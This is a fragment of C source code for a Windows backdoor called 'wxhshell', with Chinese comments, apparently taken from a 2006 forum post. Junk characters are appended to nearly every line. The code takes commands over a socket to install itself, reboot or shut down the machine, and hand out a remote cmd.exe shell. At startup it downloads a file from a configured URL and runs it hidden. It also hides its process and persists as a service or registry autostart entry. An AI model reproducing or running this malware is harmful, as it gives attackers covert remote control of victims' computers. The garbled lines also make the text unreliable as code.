SW(q$i  
    switch(cmd[0]) { ovf/;Q/}  
  WW@"Z}?k  
  // 帮助 &jV_"_3n  
  case '?': { r)1Z(tl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1xnLB>jP#  
    break; G>T')A  
  } l{P\No  
  // 安装 __p_8P  
  case 'i': { o%M<-l"!/  
    if(Install()) OySy6IN]q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _-cK{  
    else ,7|;k2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gie@JX  
    break; (L6Cy% KgV  
    } W( *V2<$o  
  // 卸载 Em13dem  
  case 'r': { N~=A  
    if(Uninstall()) [A~G-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); icUT<@0  
    else *QE<zt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z& !!]"I  
    break; j?(!^ _!m  
    } 0? bA$y  
  // 显示 wxhshell 所在路径 9w;?-  
  case 'p': { 5b #QYu  
    char svExeFile[MAX_PATH]; us)*2`?6t  
    strcpy(svExeFile,"\n\r"); H5wb_yBQ+  
      strcat(svExeFile,ExeFile); J/D|4fC  
        send(wsh,svExeFile,strlen(svExeFile),0); ~hN~>0O  
    break; Sm3u/w!  
    } #j@OLvXh  
  // 重启 Yq'4e[i  
  case 'b': { +1{fzb>9_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;Fl<v@9  
    if(Boot(REBOOT)) cep$_J a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~waNPjPRG  
    else { M<8ML!N0;t  
    closesocket(wsh); )JgC$ <  
    ExitThread(0); N=,j}FY  
    } es.CLkuD7Y  
    break; Mpx/S<Z  
    } 1]4^V7y  
  // 关机 |ek ak{js  
  case 'd': { ?;7b*Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (L69{n  
    if(Boot(SHUTDOWN)) b^V'BC3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PjqeE,5  
    else { XYbyOM VI  
    closesocket(wsh); ?{J!#`tfV  
    ExitThread(0); :.IN?X  
    } ):6 -  
    break; {E,SHh   
    } cwtD@KC[B  
  // 获取shell g@nk.aRw  
  case 's': { 3 (lVmfk  
    CmdShell(wsh); Sgj/s~j~1  
    closesocket(wsh); )r!e2zc=Q  
    ExitThread(0); V 7<eQ0;m  
    break; Px4/O~bLk  
  }  mIc:2.q^  
  // 退出 z-u?s`k**  
  case 'x': { v|+5:jFOqb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F&@|M(  
    CloseIt(wsh); ]A:( L9  
    break; K84&sSi  
    } m/${8  
  // 离开 y$oW!  
  case 'q': { i2F(GH?p[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aw$Y`6,S  
    closesocket(wsh); 2cnj@E:5l  
    WSACleanup(); |4SW[>WT:  
    exit(1); VuWib+fT  
    break; 9D4-^M:a  
        } != zx  
  } *6*-WV6  
  } 79ZxqvB\  
h`?k.{})M  
  // 提示信息 E <@\>y.[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R^{xwI  
} ! Cb=B  
  } }:#dV B+  
0\ f-z6  
  return; o~~9!\  
} \graMu}-  
 5H.Db  
// shell模块句柄 %x2b0L\g  
int CmdShell(SOCKET sock) )/%S=c  
{ :('I)C  
STARTUPINFO si; GXeAe}T  
ZeroMemory(&si,sizeof(si)); HF4Lqh'oco  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s-6:N9-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jH0Bo;  
PROCESS_INFORMATION ProcessInfo; 1xC`ZhjcD  
char cmdline[]="cmd"; J:};n@<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {%7<"  
  return 0; ~I$}#  
} =R9*;6?N  
8-A|C< "  
// 自身启动模式 ZLJNw0!=|t  
int StartFromService(void) hWxT!  
{ Mo|yv[(K ,  
typedef struct NhDA7z`b'J  
{ j`9Nwa  
  DWORD ExitStatus; Q7k.+2  
  DWORD PebBaseAddress; QNJ\!+,HV  
  DWORD AffinityMask; tR O IBq|  
  DWORD BasePriority; CKC0{J8g  
  ULONG UniqueProcessId; JN^bo(kb  
  ULONG InheritedFromUniqueProcessId; k/^g*  
}   PROCESS_BASIC_INFORMATION; _80ns&q  
vf_OQ4'G,  
PROCNTQSIP NtQueryInformationProcess; 2FT-}w0;  
AfE%a-;:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b7v dk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B(Y.`L? %E  
0BXs&i-TP5  
  HANDLE             hProcess; 'z](xG<  
  PROCESS_BASIC_INFORMATION pbi; DPeVKyjU  
{rfte'4;=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y-~;E3(  
  if(NULL == hInst ) return 0; GC?S];PL  
bX&e_Pd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T/Q==Q{W:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "G kI5!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xN "wF-s4?  
*[ #*n n  
  if (!NtQueryInformationProcess) return 0; ^Y<M~K972  
?%;B`2 nDR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cuMc*i$w!  
  if(!hProcess) return 0; &CO| Y(+  
}{=8&gA0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /&QQ p3  
x _|>n<Z  
  CloseHandle(hProcess); qOgtGN}k  
bQV("~#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oVEAlBm^v  
if(hProcess==NULL) return 0; < 4$YO-:E  
X#7}c5^Y  
HMODULE hMod; PvuAg(?  
char procName[255]; D+hB[*7Fs  
unsigned long cbNeeded; 19w_tSg  
c.-cpFk^L&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .t :DvB  
bN!u}DnN  
  CloseHandle(hProcess); \ %_)_"Q  
4JSZ0:O  
if(strstr(procName,"services")) return 1; // 以服务启动 Kt6C43]7  
#~*XDWvIS~  
  return 0; // 注册表启动 6d};|#}  
} k%!VP=c4s  
v*XkWH5  
// 主模块 uZ<%kV1B  
int StartWxhshell(LPSTR lpCmdLine) , | <jjq)  
{ -[<vYxX:h:  
  SOCKET wsl; K+-zY[3  
BOOL val=TRUE; F'ENq6  
  int port=0; &|NZ8:*+#  
  struct sockaddr_in door; 3FuCW  
_y"a2M  
  if(wscfg.ws_autoins) Install(); a>?p.!BM  
LhZZc`|7t  
port=atoi(lpCmdLine); -B,cB  
ZGzc"r(r:#  
if(port<=0) port=wscfg.ws_port; A$N+9n\  
oL)lyUVT  
  WSADATA data; =kF? _KN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lh~<s2[R2  
^+URv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b.@H1L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pm;I3r=R\  
  door.sin_family = AF_INET; IQ=CNby:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pqOA/^ar  
  door.sin_port = htons(port); nrF!;:x  
D|[/>x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,,Jjr[A_j  
closesocket(wsl); ~R'BU=!;F  
return 1; +R9%~Z.=  
} Vv2{^ !aZ  
Yu1QcFuy  
  if(listen(wsl,2) == INVALID_SOCKET) { cNx \&vpd  
closesocket(wsl); i<J^:7  
return 1; i'Wcf1I-=  
} 89db5Dx  
  Wxhshell(wsl); K_Z+]]$#  
  WSACleanup(); Z~:/#?/  
Lp!0H `L  
return 0; ~K_]N/ >  
,cPkx~w0  
} [6G=yp  
{uEu >D$8  
// 以NT服务方式启动 Z 4\tY^NI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J-b~4  
{ %l%=Dkss  
DWORD   status = 0; 6W]OpM  
  DWORD   specificError = 0xfffffff; QN3 qF|))  
 !,Qm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SQKi2\8w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <|B$dz?r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tm%WWbc  
  serviceStatus.dwWin32ExitCode     = 0; aD?# ,  
  serviceStatus.dwServiceSpecificExitCode = 0; ;,mBT[_ZO  
  serviceStatus.dwCheckPoint       = 0; ?rAi=w&c  
  serviceStatus.dwWaitHint       = 0; !~?W \b\:  
a^%8QJW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^dheJ]n=k  
  if (hServiceStatusHandle==0) return; [y_yPOv  
r^fxyN2V  
status = GetLastError(); 'lxLnX  
  if (status!=NO_ERROR) }!eF  
{ \moZ6J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !p-'t]  
    serviceStatus.dwCheckPoint       = 0; 2;3x,<Cg  
    serviceStatus.dwWaitHint       = 0; p .lu4  
    serviceStatus.dwWin32ExitCode     = status; qK{| Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; G~JC gi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *iPs4Es-  
    return; >F,$;y52  
  } OY+!aG@.  
!}z%#$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )lQN)! .)  
  serviceStatus.dwCheckPoint       = 0; 0T7M_G'5Q  
  serviceStatus.dwWaitHint       = 0; ~o}moE/ ;O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qK<aZ%V  
} mipi]*ZfXE  
@QvfN>T  
// 处理NT服务事件,比如:启动、停止 32M6EEmPG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xWd9%,mDNR  
{ M|1eqR%x-?  
switch(fdwControl) N5[_a/  
{ ~l;yr @  
case SERVICE_CONTROL_STOP: zfM<x,XdY  
  serviceStatus.dwWin32ExitCode = 0; ( K^YD K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ti0 (VdY  
  serviceStatus.dwCheckPoint   = 0; #&;m<%  
  serviceStatus.dwWaitHint     = 0; N;e;4,_ n  
  { OJnPP>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -OHvK0~  
  } pI'8>_o  
  return; _K 4eD.  
case SERVICE_CONTROL_PAUSE: $ijx#a&O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /&~nM  
  break; NvXj6U*%  
case SERVICE_CONTROL_CONTINUE: |U8>:DEl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +J\L4ri k  
  break; p*A^0DN'Fn  
case SERVICE_CONTROL_INTERROGATE: e}{8a9J<%_  
  break; ~,(0h:8  
}; 113Z@F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SIKk|I)  
} \DG( 8l  
Yt\E/*%  
// 标准应用程序主函数 YR$tPe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .d<~a1k  
{ ^hQ:A4@q  
s4\SX,  
// 获取操作系统版本 X7'h@>R   
OsIsNt=GetOsVer(); qkIA,Kgy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v1`bDS?*Q  
S/#) :,YS  
  // 从命令行安装 zv$=*  
  if(strpbrk(lpCmdLine,"iI")) Install(); TKj/6Jz|  
u i s:\Uc  
  // 下载执行文件 T=hm#]   
if(wscfg.ws_downexe) { 7H8GkuO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 44Seq  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y!K^-Y}  
} ;g;,%jdCS  
*Y| lO  
if(!OsIsNt) { 34&u]4=L)  
// 如果时win9x,隐藏进程并且设置为注册表启动 *!-}lc^4  
HideProc(); TMnT#ypf<5  
StartWxhshell(lpCmdLine); 8eg2o$k_,#  
} 17MN8SfQ  
else )W_ Y3M,  
  if(StartFromService()) ,*9#c*'S  
  // 以服务方式启动 z/ c'Z#w%  
  StartServiceCtrlDispatcher(DispatchTable); Y{x[N}h  
else *~\;&G29Y  
  // 普通方式启动 @LwVmR |{  
  StartWxhshell(lpCmdLine); %8bFQNd  
~FK+bF?%  
return 0; rRF+\cP?.  
}
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只看该作者 1 发表于: 2006-10-10
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